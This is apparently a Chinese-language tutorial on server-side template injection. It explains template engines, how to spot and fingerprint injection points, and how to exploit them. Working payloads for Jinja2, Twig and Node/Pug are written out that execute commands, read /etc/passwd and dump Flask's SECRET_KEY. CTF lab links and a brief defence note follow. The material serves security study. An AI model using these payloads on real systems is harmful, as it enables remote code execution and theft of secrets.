SSTI
参看所有收录EXP:
[SSTI (Server Side Template Injection) | HackTricks | HackTricks](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#python)
SSTI (Server Side Template Injection)
目录
简介
Server-Side Template Injection 2015 年由 James Kettle 在 Black Hat 提出完整利用链 SSTI 至此普及开来。说到后端模板与之对应的还有前端模板(CSTI),就是各种前端框架模板,一般危害就是执行 JS 代码。本文旨在简略记录后端模板基本原理不涉及前端模板内容。
模板是什么?
了解模板之前先看原来开发模式和模板开发有什么区别,最早开发是前后端都揉在一起,不管你在哪里要用到这 HTML 显示数据都需要重写一遍。
1 | <h1>echo name </h1> |
有了模板就可以先写好前端样式后面在填充数据,写好的前端可以被重复使用。
模板原理是往里 HTML 填充数据,最后通过模板引擎把前端和数据组装在一起返回。
1 | <h1>{{ name }}</h1> |
模板引擎将输入的 name 变量最终替换为完整 HTML。
1 | <h1>raingray</h1> |
啥是模板注入?
用户输入的内容被放入模板渲染。这个内容通常是表达式,如 {{ eval('cat /etc/passwd') }}
,渲染后表达式被执行。
1 | <h1>root:x:0:0:root/root:/bin/bash......</h1> |
模板注入的危害是什么?
通常可以调各个库来执行命令造成 RCE,能查当前对象的信息可能会返回 Secret 等模板信息,造成敏感信息泄露,再不济也是个 XSS。
说白了就是你能调语言啥库,能执行命令就 RCE,能读取文件就 LFI。
咋找注入点?
任何输入的内容被应用结合模板输出的地方都可以试,如模板大多支持写入 HTML,有 HTML 注入的地方要联想到可能存在模板注入,所以要随手尝试闭合 }}<h1>raingray</h1>{{`。
通常会在功能点 Fuzz 模板需要用到的特殊字符 `${{<%[%'"}}%
,如果报错就可能存在。
咋判断 App 用的那款模板?
BurpSuite 官方给出一个判断逻辑,执行蓝色方块表达式,绿色箭头代表表达式成功执行,红色箭头代表走不通。如 {{7*'7'}}
Jinja2 返回 7777777,Twig 返回 49,当没有结果时则漏洞不存在。
图片来自 https://portswigger.net/research/server-side-template-injection
利用
利用思路是阅读模板官方文档关键点:
- 基本语法。知道怎么用。
- 安全建议。了解常见风险点。
- 内部变量。类似于 Java Reflection,或 Python Magic Method/Special Attributes,通过当前对象快速获取其他对象并调用利用。
Python Jinja2
subprocess.Popen 执行命令
jinja2 语法:
-
{%` block 开始 `%}
block 结束 -
{{` print statement 开始 `}}
print statement 结束 -
`` comment 结束
确认表达式被应用执行,内容返回七个字符串 7,或者返回 49。
1 | {{'7'*7}} |
获取 object 类
使用 ''.__class__
属性获取 str 类实例,将返回 <class 'str'>
。也可以使用其他基础数据类型,如 []
、{}
。
1 | {{ ''.__class__ }} |
__mro__
(Method Resolution Order)属性返回一个包含基类元组 (<class 'str'>, <class 'object'>)
,告诉你调用属性、方法时按照元组中的顺序查找。和 __mro__
一致的方法还有 mro()
作用一致只是返回数据类型是列表。
1 | {{''.__class__.__mro__}} |
__base__
和 __bases__
都能获得继承的第一个基类 object,只是 __bases__
返回元组,另一个区别是在 Python2 里是获取字符串类 str 基类返回是 <type 'basestring'>
。
1 | {{''.__class__.__bases__}} |
获取基类是要得到 object,它是所有类的基类可以通过它得到 Python 中任何类的信息。通过更改索引 ''.__class__.__mro__[index]
区选返回哪个索引内容,如 ''.__class__.__mro__[1]
将返回 <class 'object'>
。
获取 object 子类
拿到 object 后用 __subclasses__()
方法返回包含子类的列表。
1 | {{''.__class__.mro()[1].__subclasses__()}} |
手动替换换行。
找到 <class 'subprocess.Popen'>
,确定索引是 233。
既然通过索引能获取到 subprocess.Popen
类,通过 ()
执行构造方法,传递要执行的命令。命令执行完 communicate()
读取 stdout 和 stderr 数据组成元组 (stdout_data, stderr_data)
返回。
1 | {{''.__class__.mro()[1].__subclasses__()[233]("cat /etc/passwd", shell=True, stdout=-1).communicate()[0]}} |
subprocess.Popen 构造方法参数为什么这样写?下面解读下。
args 默认读取列表,命令以空格作为分隔符,比如 cat /etc/passwd /etc/shadow
,就要写成 ['cat', '/etc/passwd', '/etc/shadow']
。
shell 使用 shell=True
可直接在引号内写命令。Linux 下默认使用 /bin/sh 执行命令,Windows 怎么执行不太清楚。
1 | Popen(['/bin/sh', '-c', 'cat /etc/passwd']) |
stdout 具体为什么用 -1 暂时无法得知,不用就无法输出数据。
读取 Flask 配置
如果无法读取文件尝试看看能不能获取 Flask 配置信息
1 | {{config}} |
重点关注配置中 SECRET_KEY 项。
1 | <Config {'JSON_AS_ASCII': True, 'USE_X_SENDFILE': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_NAME': 'session', 'SESSION_REFRESH_EACH_REQUEST': True, 'LOGGER_HANDLER_POLICY': 'always', 'LOGGER_NAME': 'app', 'DEBUG': False, 'SECRET_KEY': None, 'EXPLAIN_TEMPLATE_LOADING': False, 'MAX_CONTENT_LENGTH': None, 'APPLICATION_ROOT': None, 'SERVER_NAME': None, 'PREFERRED_URL_SCHEME': 'http', 'JSONIFY_PRETTYPRINT_REGULAR': True, 'TESTING': False, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'PROPAGATE_EXCEPTIONS': None, 'TEMPLATES_AUTO_RELOAD': None, 'TRAP_BAD_REQUEST_ERRORS': False, 'JSON_SORT_KEYS': True, 'JSONIFY_MIMETYPE': 'application/json', 'SESSION_COOKIE_HTTPONLY': True, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SESSION_COOKIE_SECURE': False, 'TRAP_HTTP_EXCEPTIONS': False}> |
self 对象获取
其他 Payload
https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/
执行命令并输出在模板中。
1 | {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() |
能够获取 os 库的 Payload。
1 | {{ self._TemplateReference__context.cycler.__init__.__globals__.os }} |
PHP Twig (1.9.0)
Payload。
1 | {{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('uname')}} |
Node.js Pug
通过 NodeJS 全局对象 global,查找 require 导入 child_process.exec 执行命令。
1 | global.require('child_process').exec('calc') |
14.0.0 之前版本 mainModule 还没被移除有以下方法可以使用。
1 | global.process.mainModule.require('child_process').exec('calc') |
靶场练习
BUUCTF
- [https://buuoj.cn/challenges#[CSCCTF 2019 Qual]FlaskLight](https://buuoj.cn/challenges#[CSCCTF 2019 Qual]FlaskLight)
- [https://buuoj.cn/challenges#[HFCTF 2021 Final]easyflask](https://buuoj.cn/challenges#[HFCTF 2021 Final]easyflask)
- https://buuoj.cn/challenges#[pasecactf_2019]flask_ssti
- https://buuoj.cn/challenges#[Flask]SSTI
- [https://buuoj.cn/challenges#[第三章 web进阶]SSTI](https://buuoj.cn/challenges#[第三章 web进阶]SSTI)
Web Security Academy
防御
参考各个模板文档正确转义输出语句。
参考链接
-
[PayloadsAllTheThings/Server Side Template Injection at master · swisskyrepo/PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server Side Template Injection)
SSTI (Server Side Template Injection) - HackTricks,包揽市面上常见模板利用 Payload,做项目时可以照着一把梭。